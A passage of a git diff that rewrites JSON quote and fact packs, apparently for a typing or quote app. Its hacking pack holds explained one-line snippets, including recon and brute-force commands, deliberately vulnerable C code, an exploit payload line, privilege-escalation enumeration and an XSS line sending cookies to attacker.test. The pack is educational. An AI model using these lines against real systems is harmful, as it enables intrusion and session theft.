srdusr
aboutsummaryrefslogtreecommitdiffstats
path: root/data/packs
diff options
context:
space:
mode:
Diffstat (limited to 'data/packs')
-rw-r--r--data/packs/business.json35
-rw-r--r--data/packs/general.json102
-rw-r--r--data/packs/hacking.json235
-rw-r--r--data/packs/history.json34
-rw-r--r--data/packs/movies.json165
-rw-r--r--data/packs/nature.json35
-rw-r--r--data/packs/philosophy.json88
-rw-r--r--data/packs/programming.json77
-rw-r--r--data/packs/science.json37
-rw-r--r--data/packs/shell.json26
-rw-r--r--data/packs/sysadmin.json26
-rw-r--r--data/packs/technology.json37
12 files changed, 734 insertions, 163 deletions
diff --git a/data/packs/business.json b/data/packs/business.json
index 627c6f0..ad4863a 100644
--- a/data/packs/business.json
+++ b/data/packs/business.json
@@ -1,17 +1,22 @@
[
- {"category":"business","content":"Price is what you pay, and value is what you get.","attribution":"Warren Buffett"},
- {"category":"business","content":"The purpose of a business is to create and keep a customer.","attribution":"Peter Drucker"},
- {"category":"business","content":"Henry Ford, founder of the Ford Motor Company, is credited with popularizing the moving assembly line, which dramatically reduced the time needed to build an automobile.","attribution":"History of Business"},
- {"category":"business","content":"A balance sheet summarizes what a company owns and owes at a single point in time, split into assets, liabilities, and shareholders' equity.","attribution":"Business"},
- {"category":"business","content":"Supply and demand describes how the price of a good tends to rise when demand exceeds supply, and fall when supply exceeds demand.","attribution":"Business"},
- {"category":"business","content":"A startup's burn rate measures how quickly it spends its available cash, an important number for founders trying to plan how long the company can operate before running out of money.","attribution":"Business"},
- {"category":"business","content":"Diversification spreads investment risk across different assets, so that a poor outcome in one area does not sink an entire portfolio.","attribution":"Business"},
- {"category":"business","content":"Branding is the practice of shaping how customers perceive a company, going beyond a logo to include tone, values, and the overall experience of using a product.","attribution":"Business"},
- {"category":"business","content":"A merger combines two companies into one, while an acquisition occurs when one company purchases and absorbs another, though the two terms are often used loosely in everyday conversation.","attribution":"Business"},
- {"category":"business","content":"Cash flow tracks the actual movement of money into and out of a business, which can differ significantly from reported profit due to timing differences in payments.","attribution":"Business"},
- {"category":"business","content":"The man who dies rich, dies disgraced.","attribution":"Andrew Carnegie"},
- {"category":"business","content":"Market research helps a business understand its customers' needs and preferences before committing resources to a new product or service.","attribution":"Business"},
- {"category":"business","content":"A monopoly exists when a single company dominates an entire market with no significant competition, often leading regulators to intervene to protect consumers.","attribution":"Business"},
- {"category":"business","content":"Return on investment measures the profitability of an investment relative to its cost, expressed as a percentage to make it easy to compare different opportunities.","attribution":"Business"},
- {"category":"business","content":"Customer obsession, rather than competitor focus, is the surest path to long term success.","attribution":"Jeff Bezos"}
+ {"category":"business","attribution":"Peter Drucker","content":"Management is doing things right; leadership is doing the right things."},
+ {"category":"business","attribution":"Peter Drucker","content":"There is nothing so useless as doing efficiently that which should not be done at all."},
+ {"category":"business","attribution":"Peter Drucker","content":"The purpose of business is to create and keep a customer."},
+ {"category":"business","attribution":"Adam Smith, The Wealth of Nations","content":"It is not from the benevolence of the butcher, the brewer, or the baker that we expect our dinner, but from their regard to their own interest."},
+ {"category":"business","attribution":"Adam Smith, The Wealth of Nations","content":"The real price of everything is the toil and trouble of acquiring it."},
+ {"category":"business","attribution":"John Maynard Keynes","content":"The market can remain irrational longer than you can remain solvent."},
+ {"category":"business","attribution":"Warren Buffett","content":"Price is what you pay. Value is what you get."},
+ {"category":"business","attribution":"Warren Buffett","content":"It takes twenty years to build a reputation and five minutes to ruin it."},
+ {"category":"business","attribution":"Clayton Christensen, The Innovator's Dilemma","content":"Disruptive technologies typically enable new markets to emerge, and they underperform established products in mainstream markets."},
+ {"category":"business","attribution":"W. Edwards Deming","content":"In God we trust; all others must bring data."},
+ {"category":"business","attribution":"W. Edwards Deming","content":"A bad system will beat a good person every time."},
+ {"category":"business","attribution":"Herbert Simon","content":"A wealth of information creates a poverty of attention."},
+ {"category":"business","attribution":"Michael Porter","content":"The essence of strategy is choosing what not to do."},
+ {"category":"business","attribution":"Andy Grove, Only the Paranoid Survive","content":"Success breeds complacency. Complacency breeds failure. Only the paranoid survive."},
+ {"category":"business","attribution":"Reid Hoffman","content":"If you are not embarrassed by the first version of your product, you have launched too late."},
+ {"category":"business","attribution":"Jeff Bezos","content":"Your brand is what other people say about you when you're not in the room."},
+ {"category":"business","attribution":"Conway's Law","content":"Organisations design systems which are copies of the communication structures of those organisations."},
+ {"category":"business","attribution":"Goodhart's Law","content":"When a measure becomes a target, it ceases to be a good measure."},
+ {"category":"business","attribution":"Parkinson's Law","content":"Work expands so as to fill the time available for its completion."},
+ {"category":"business","attribution":"Peter Thiel, Zero to One","content":"Every moment in business happens only once. The next Bill Gates will not build an operating system."}
]
diff --git a/data/packs/general.json b/data/packs/general.json
index 9fb15c0..6604e8b 100644
--- a/data/packs/general.json
+++ b/data/packs/general.json
@@ -1,22 +1,82 @@
[
- {"category":"general","content":"The quick brown fox jumps over the lazy dog.","attribution":"Traditional pangram"},
- {"category":"general","content":"Simplicity is the soul of efficiency.","attribution":"Austin Freeman"},
- {"category":"general","content":"The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface.","attribution":"General knowledge"},
- {"category":"general","content":"Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity.","attribution":"General knowledge"},
- {"category":"general","content":"A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later.","attribution":"General knowledge"},
- {"category":"general","content":"Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron.","attribution":"General knowledge"},
- {"category":"general","content":"The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north.","attribution":"General knowledge"},
- {"category":"general","content":"Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia.","attribution":"General knowledge"},
- {"category":"general","content":"A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun.","attribution":"General knowledge"},
- {"category":"general","content":"The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible.","attribution":"General knowledge"},
- {"category":"general","content":"Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later.","attribution":"General knowledge"},
- {"category":"general","content":"Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone.","attribution":"General knowledge"},
- {"category":"general","content":"The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built.","attribution":"General knowledge"},
- {"category":"general","content":"The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp.","attribution":"General knowledge"},
- {"category":"general","content":"The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools.","attribution":"General knowledge"},
- {"category":"general","content":"A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat.","attribution":"General knowledge"},
- {"category":"general","content":"Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface.","attribution":"General knowledge"},
- {"category":"general","content":"The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered.","attribution":"General knowledge"},
- {"category":"general","content":"Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size.","attribution":"General knowledge"},
- {"category":"general","content":"The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth.","attribution":"General knowledge"}
-]
+ {
+ "category": "general",
+ "content": "The quick brown fox jumps over the lazy dog."
+ },
+ {
+ "category": "general",
+ "content": "Simplicity is the soul of efficiency."
+ },
+ {
+ "category": "general",
+ "content": "The Pacific Ocean covers more of the planet than all the continents combined. It stretches from the icy waters near Antarctica to the Arctic Circle, and its deepest point, the Mariana Trench, plunges nearly eleven kilometers below the surface."
+ },
+ {
+ "category": "general",
+ "content": "Honey never spoils if it is stored properly. Archaeologists have found pots of honey in ancient Egyptian tombs that are thousands of years old and still perfectly edible, preserved by its low moisture content and natural acidity."
+ },
+ {
+ "category": "general",
+ "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later."
+ },
+ {
+ "category": "general",
+ "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron."
+ },
+ {
+ "category": "general",
+ "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north."
+ },
+ {
+ "category": "general",
+ "content": "Bamboo is one of the fastest growing plants on Earth. Some species can grow nearly a meter in a single day under the right conditions, which is why it is used so widely in construction and manufacturing across Asia."
+ },
+ {
+ "category": "general",
+ "content": "A day on Venus is longer than its year. The planet rotates so slowly on its axis that it takes longer to spin around once than it does to complete an entire orbit around the sun."
+ },
+ {
+ "category": "general",
+ "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible."
+ },
+ {
+ "category": "general",
+ "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later."
+ },
+ {
+ "category": "general",
+ "content": "Antarctica is technically the largest desert on the planet. Despite being covered in ice, it receives very little precipitation each year, which is the defining characteristic of a desert rather than temperature alone."
+ },
+ {
+ "category": "general",
+ "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built."
+ },
+ {
+ "category": "general",
+ "content": "The human brain generates enough electricity to power a small light bulb. Billions of neurons firing electrical signals at once produce roughly the same wattage as a dim household lamp."
+ },
+ {
+ "category": "general",
+ "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools."
+ },
+ {
+ "category": "general",
+ "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat."
+ },
+ {
+ "category": "general",
+ "content": "Venus is the hottest planet in the solar system, even though Mercury sits closer to the sun. A thick blanket of carbon dioxide traps heat at the surface."
+ },
+ {
+ "category": "general",
+ "content": "The shortest war in recorded history was fought between Britain and Zanzibar in 1896. It lasted around forty minutes before Zanzibar surrendered."
+ },
+ {
+ "category": "general",
+ "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size."
+ },
+ {
+ "category": "general",
+ "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth."
+ }
+] \ No newline at end of file
diff --git a/data/packs/hacking.json b/data/packs/hacking.json
index 471c8d0..9bc3b04 100644
--- a/data/packs/hacking.json
+++ b/data/packs/hacking.json
@@ -1,24 +1,213 @@
[
- {"category":"hacking","language":"shell","attribution":"Recon","explanation":"A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list.","content":"nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24"},
- {"category":"hacking","language":"shell","attribution":"Recon","explanation":"Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live.","content":"gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40"},
- {"category":"hacking","language":"shell","attribution":"Recon","explanation":"Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints.","content":"curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u"},
- {"category":"hacking","language":"shell","attribution":"Web","attribution_note":"","explanation":"Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories.","content":"ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403"},
- {"category":"hacking","language":"shell","attribution":"Web","explanation":"Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable.","content":"curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'"},
- {"category":"hacking","language":"shell","attribution":"Web","explanation":"A header the application echoes back into a redirect or a password-reset link is a host header injection.","content":"curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location"},
- {"category":"hacking","language":"clike","attribution":"Memory safety","explanation":"The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger.","content":"char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */"},
- {"category":"hacking","language":"clike","attribution":"Memory safety","explanation":"Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object.","content":"free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */"},
- {"category":"hacking","language":"clike","attribution":"Memory safety","explanation":"An attacker-controlled format string. Every %x walks the stack; %n writes to it.","content":"printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */"},
- {"category":"hacking","language":"python","attribution":"Exploit dev","explanation":"A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address.","content":"payload = b'A' * 72 + p64(0x401196) + p64(win_addr)"},
- {"category":"hacking","language":"python","attribution":"Exploit dev","explanation":"Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated.","content":"libc.address = leak - libc.symbols['puts']"},
- {"category":"hacking","language":"shell","attribution":"Crypto","explanation":"An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years.","content":"hashcat -m 0 -a 0 hashes.txt rockyou.txt --force"},
- {"category":"hacking","language":"shell","attribution":"Crypto","explanation":"Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning.","content":"openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text"},
- {"category":"hacking","language":"shell","attribution":"Post-exploitation","explanation":"Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it.","content":"find / -perm -4000 -type f 2>/dev/null"},
- {"category":"hacking","language":"shell","attribution":"Post-exploitation","explanation":"Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root.","content":"sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'"},
- {"category":"hacking","language":"shell","attribution":"Post-exploitation","explanation":"Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working.","content":"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"},
- {"category":"hacking","language":"javascript","attribution":"Web","explanation":"A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it.","content":"fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))"},
- {"category":"hacking","language":"javascript","attribution":"Web","explanation":"Prototype pollution: writing through __proto__ reaches every object that inherits from it.","content":"JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')"},
- {"category":"hacking","language":"shell","attribution":"Defence","explanation":"Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing.","content":"iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT"},
- {"category":"hacking","language":"shell","attribution":"Defence","explanation":"Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed.","content":"journalctl -u sshd -f | grep -Ei 'failed|invalid user'"},
- {"category":"hacking","language":"shell","attribution":"Defence","explanation":"Compares installed files against the package manager's own checksums. A changed system binary shows up here.","content":"pacman -Qkk 2>&1 | grep -v ' 0 altered files'"},
- {"category":"hacking","language":"python","attribution":"Defence","explanation":"Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing.","content":"if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')"}
-]
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Recon",
+ "explanation": "A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list.",
+ "content": "nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Recon",
+ "explanation": "Resolves a wordlist of names against a domain. Subdomains are where forgotten staging boxes live.",
+ "content": "gobuster dns -d example.com -w /usr/share/wordlists/subdomains.txt -t 40"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Recon",
+ "explanation": "Pulls every unique path a site references from its own JavaScript. Endpoints that no link points at are still endpoints.",
+ "content": "curl -s https://target/app.js | grep -oE '\"/[a-zA-Z0-9_/-]+\"' | sort -u"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Web",
+ "attribution_note": "",
+ "explanation": "Directory brute force. -x tries extensions, so index.php.bak and config.old surface alongside directories.",
+ "content": "ffuf -u https://target/FUZZ -w wordlist.txt -e .php,.bak,.old -mc 200,301,403"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Web",
+ "explanation": "Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable.",
+ "content": "curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Web",
+ "explanation": "A header the application echoes back into a redirect or a password-reset link is a host header injection.",
+ "content": "curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location"
+ },
+ {
+ "category": "hacking",
+ "language": "clike",
+ "attribution": "Memory safety",
+ "explanation": "The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger.",
+ "content": "char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */"
+ },
+ {
+ "category": "hacking",
+ "language": "clike",
+ "attribution": "Memory safety",
+ "explanation": "Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object.",
+ "content": "free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */"
+ },
+ {
+ "category": "hacking",
+ "language": "clike",
+ "attribution": "Memory safety",
+ "explanation": "An attacker-controlled format string. Every %x walks the stack; %n writes to it.",
+ "content": "printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */"
+ },
+ {
+ "category": "hacking",
+ "language": "python",
+ "attribution": "Exploit dev",
+ "explanation": "A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address.",
+ "content": "payload = b'A' * 72 + p64(0x401196) + p64(win_addr)"
+ },
+ {
+ "category": "hacking",
+ "language": "python",
+ "attribution": "Exploit dev",
+ "explanation": "Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated.",
+ "content": "libc.address = leak - libc.symbols['puts']"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Crypto",
+ "explanation": "An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years.",
+ "content": "hashcat -m 0 -a 0 hashes.txt rockyou.txt --force"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Crypto",
+ "explanation": "Reads the certificate a host presents. Expiry dates and hostname mismatches are found here, not in a browser warning.",
+ "content": "openssl s_client -connect target:443 -servername target < /dev/null | openssl x509 -noout -text"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Post-exploitation",
+ "explanation": "Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it.",
+ "content": "find / -perm -4000 -type f 2>/dev/null"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Post-exploitation",
+ "explanation": "Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root.",
+ "content": "sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Post-exploitation",
+ "explanation": "Upgrades a dumb shell to a real TTY, so job control, tab completion and su all start working.",
+ "content": "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
+ },
+ {
+ "category": "hacking",
+ "language": "javascript",
+ "attribution": "Web",
+ "explanation": "A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it.",
+ "content": "fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))"
+ },
+ {
+ "category": "hacking",
+ "language": "javascript",
+ "attribution": "Web",
+ "explanation": "Prototype pollution: writing through __proto__ reaches every object that inherits from it.",
+ "content": "JSON.parse('{\"__proto__\": {\"isAdmin\": true}}')"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Defence",
+ "explanation": "Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing.",
+ "content": "iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Defence",
+ "explanation": "Watches authentication failures as they happen. Most intrusions are visible in logs long before they are noticed.",
+ "content": "journalctl -u sshd -f | grep -Ei 'failed|invalid user'"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Defence",
+ "explanation": "Compares installed files against the package manager's own checksums. A changed system binary shows up here.",
+ "content": "pacman -Qkk 2>&1 | grep -v ' 0 altered files'"
+ },
+ {
+ "category": "hacking",
+ "language": "python",
+ "attribution": "Defence",
+ "explanation": "Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing.",
+ "content": "if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Recon",
+ "explanation": "Certificate transparency logs list every name a CA has issued for a domain, including hosts that were never meant to be public.",
+ "content": "curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Web",
+ "explanation": "Checks whether a session cookie carries the flags that stop JavaScript reading it and stop it crossing sites.",
+ "content": "curl -sI https://target/login | grep -i 'set-cookie' | grep -ci 'httponly.*secure'"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Web",
+ "explanation": "Requests the same path twice with different cache-busting keys to see whether a proxy will serve one user's response to another.",
+ "content": "curl -s 'https://target/?x=1' -H 'X-Forwarded-Scheme: nothttps' -o /dev/null -w '%{http_code} %{time_total}\\n'"
+ },
+ {
+ "category": "hacking",
+ "language": "python",
+ "attribution": "Crypto",
+ "explanation": "A length-extension attack works because the hash's internal state is its output. HMAC exists precisely to stop this.",
+ "content": "forged = hashlib.sha256(secret_len * b'\\x00' + original + padding + suffix).hexdigest()"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Post-exploitation",
+ "explanation": "Capabilities are finer-grained than setuid but grant real power. cap_setuid on an interpreter is root.",
+ "content": "getcap -r / 2>/dev/null | grep -E 'cap_(setuid|dac_override|sys_admin)'"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Defence",
+ "explanation": "Audits which accounts can escalate, and how. The answer is usually longer than anyone expects.",
+ "content": "grep -rE '^[^#].*(ALL|NOPASSWD)' /etc/sudoers /etc/sudoers.d/ 2>/dev/null"
+ },
+ {
+ "category": "hacking",
+ "language": "shell",
+ "attribution": "Defence",
+ "explanation": "Compares running kernel modules against what the package manager installed. An unexpected module is worth explaining.",
+ "content": "lsmod | awk 'NR>1 {print $1}' | while read m; do modinfo -n \"$m\" 2>/dev/null; done | grep -v '^/lib/modules'"
+ },
+ {
+ "category": "hacking",
+ "language": "python",
+ "attribution": "Defence",
+ "explanation": "Parameterised queries send the values separately from the statement, so nothing the user types can become SQL.",
+ "content": "cur.execute('SELECT * FROM users WHERE name = %s AND active = %s', (name, True))"
+ }
+] \ No newline at end of file
diff --git a/data/packs/history.json b/data/packs/history.json
index 45c16b1..2e717fc 100644
--- a/data/packs/history.json
+++ b/data/packs/history.json
@@ -1,16 +1,22 @@
[
- {"category":"history","content":"The printing press, developed by Johannes Gutenberg in the fifteenth century, made it possible to produce books far more quickly and cheaply than copying them by hand.","attribution":"History"},
- {"category":"history","content":"The Roman Empire at its height stretched from Britain in the north to Egypt in the south, connected by a vast network of roads that still exist in parts of Europe today.","attribution":"History"},
- {"category":"history","content":"The fall of the Berlin Wall in 1989 marked a turning point in the Cold War, as East and West Germany moved toward reunification the following year.","attribution":"History"},
- {"category":"history","content":"The signing of the Magna Carta in 1215 limited the power of the English king and established the principle that even a monarch was subject to the law.","attribution":"History"},
- {"category":"history","content":"The Silk Road was not a single road but a network of trade routes connecting China to the Mediterranean, carrying silk, spices, and ideas across the ancient world.","attribution":"History"},
- {"category":"history","content":"The Wright brothers achieved the first powered, controlled flight in 1903 near Kitty Hawk, North Carolina, a flight that lasted only twelve seconds.","attribution":"History"},
- {"category":"history","content":"Ancient Egyptian civilization flourished along the Nile River for thousands of years, leaving behind monuments such as the pyramids of Giza and the temples of Luxor.","attribution":"History"},
- {"category":"history","content":"The Renaissance began in Italy in the fourteenth century, sparking a renewed interest in classical art, science, and learning that eventually spread across Europe.","attribution":"History"},
- {"category":"history","content":"The Apollo 11 mission landed the first humans on the Moon in July of 1969, when astronauts Neil Armstrong and Buzz Aldrin walked on the lunar surface.","attribution":"History"},
- {"category":"history","content":"The Industrial Revolution transformed economies across Europe and North America during the eighteenth and nineteenth centuries, shifting production from hand tools to machines.","attribution":"History"},
- {"category":"history","content":"The Great Depression of the 1930s began with the stock market crash of 1929 and led to widespread unemployment and economic hardship across the globe.","attribution":"History"},
- {"category":"history","content":"The invention of the wheel around 3500 BCE is considered one of the most important technological breakthroughs in human history, transforming transportation and trade.","attribution":"History"},
- {"category":"history","content":"I will fight no more forever.","attribution":"Chief Joseph, Nez Perce, 1877"},
- {"category":"history","content":"The Cold War divided much of the world into two opposing blocs for nearly half a century, one aligned with the United States and the other with the Soviet Union.","attribution":"History"}
+ {"category":"history","attribution":"Abraham Lincoln, Gettysburg Address, 1863","content":"Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in liberty."},
+ {"category":"history","attribution":"Abraham Lincoln, Gettysburg Address, 1863","content":"The world will little note nor long remember what we say here, but it can never forget what they did here."},
+ {"category":"history","attribution":"Winston Churchill, 1940","content":"We shall fight on the beaches, we shall fight on the landing grounds, we shall fight in the fields and in the streets."},
+ {"category":"history","attribution":"Winston Churchill, 1940","content":"Never in the field of human conflict was so much owed by so many to so few."},
+ {"category":"history","attribution":"Franklin D. Roosevelt, 1933","content":"The only thing we have to fear is fear itself: nameless, unreasoning, unjustified terror."},
+ {"category":"history","attribution":"Martin Luther King Jr., 1963","content":"I have a dream that my four little children will one day live in a nation where they will not be judged by the colour of their skin."},
+ {"category":"history","attribution":"Martin Luther King Jr., Letter from Birmingham Jail, 1963","content":"Injustice anywhere is a threat to justice everywhere."},
+ {"category":"history","attribution":"Nelson Mandela, 1964","content":"I have cherished the ideal of a democratic and free society in which all persons live together in harmony and with equal opportunities."},
+ {"category":"history","attribution":"Sojourner Truth, 1851","content":"I could work as much and eat as much as a man, when I could get it, and bear the lash as well. And ain't I a woman?"},
+ {"category":"history","attribution":"Frederick Douglass, 1857","content":"Power concedes nothing without a demand. It never did and it never will."},
+ {"category":"history","attribution":"Neil Armstrong, 1969","content":"That's one small step for a man, one giant leap for mankind."},
+ {"category":"history","attribution":"John F. Kennedy, 1962","content":"We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard."},
+ {"category":"history","attribution":"Chief Joseph, Nez Perce, 1877","content":"I am tired of fighting. From where the sun now stands, I will fight no more forever."},
+ {"category":"history","attribution":"Emmeline Pankhurst, 1913","content":"You have to make more noise than anybody else, you have to fill all the papers more than anybody else."},
+ {"category":"history","attribution":"Mahatma Gandhi","content":"There are many causes that I am prepared to die for but no causes that I am prepared to kill for."},
+ {"category":"history","attribution":"Elie Wiesel, 1986","content":"We must always take sides. Neutrality helps the oppressor, never the victim. Silence encourages the tormentor."},
+ {"category":"history","attribution":"Susan B. Anthony, 1873","content":"It was we, the people, not we, the white male citizens, nor yet we, the male citizens, who formed this Union."},
+ {"category":"history","attribution":"Thucydides, History of the Peloponnesian War","content":"The strong do what they can and the weak suffer what they must."},
+ {"category":"history","attribution":"George Santayana, The Life of Reason","content":"Those who cannot remember the past are condemned to repeat it."},
+ {"category":"history","attribution":"Cicero","content":"To be ignorant of what occurred before you were born is to remain always a child."}
]
diff --git a/data/packs/movies.json b/data/packs/movies.json
index e2673d8..8c604f6 100644
--- a/data/packs/movies.json
+++ b/data/packs/movies.json
@@ -1,30 +1,137 @@
[
- {"category":"movies","attribution":"The Wizard of Oz (1939)","content":"Toto, I've a feeling we're not in Kansas anymore."},
- {"category":"movies","attribution":"Casablanca (1942)","content":"Of all the gin joints in all the towns in all the world, she walks into mine."},
- {"category":"movies","attribution":"Casablanca (1942)","content":"Louis, I think this is the beginning of a beautiful friendship."},
- {"category":"movies","attribution":"Sunset Boulevard (1950)","content":"I am big. It's the pictures that got small."},
- {"category":"movies","attribution":"Cool Hand Luke (1967)","content":"What we've got here is failure to communicate."},
- {"category":"movies","attribution":"The Godfather (1972)","content":"I'm gonna make him an offer he can't refuse."},
- {"category":"movies","attribution":"Jaws (1975)","content":"You're gonna need a bigger boat."},
- {"category":"movies","attribution":"Network (1976)","content":"I'm as mad as hell, and I'm not going to take this anymore."},
- {"category":"movies","attribution":"Apocalypse Now (1979)","content":"I love the smell of napalm in the morning."},
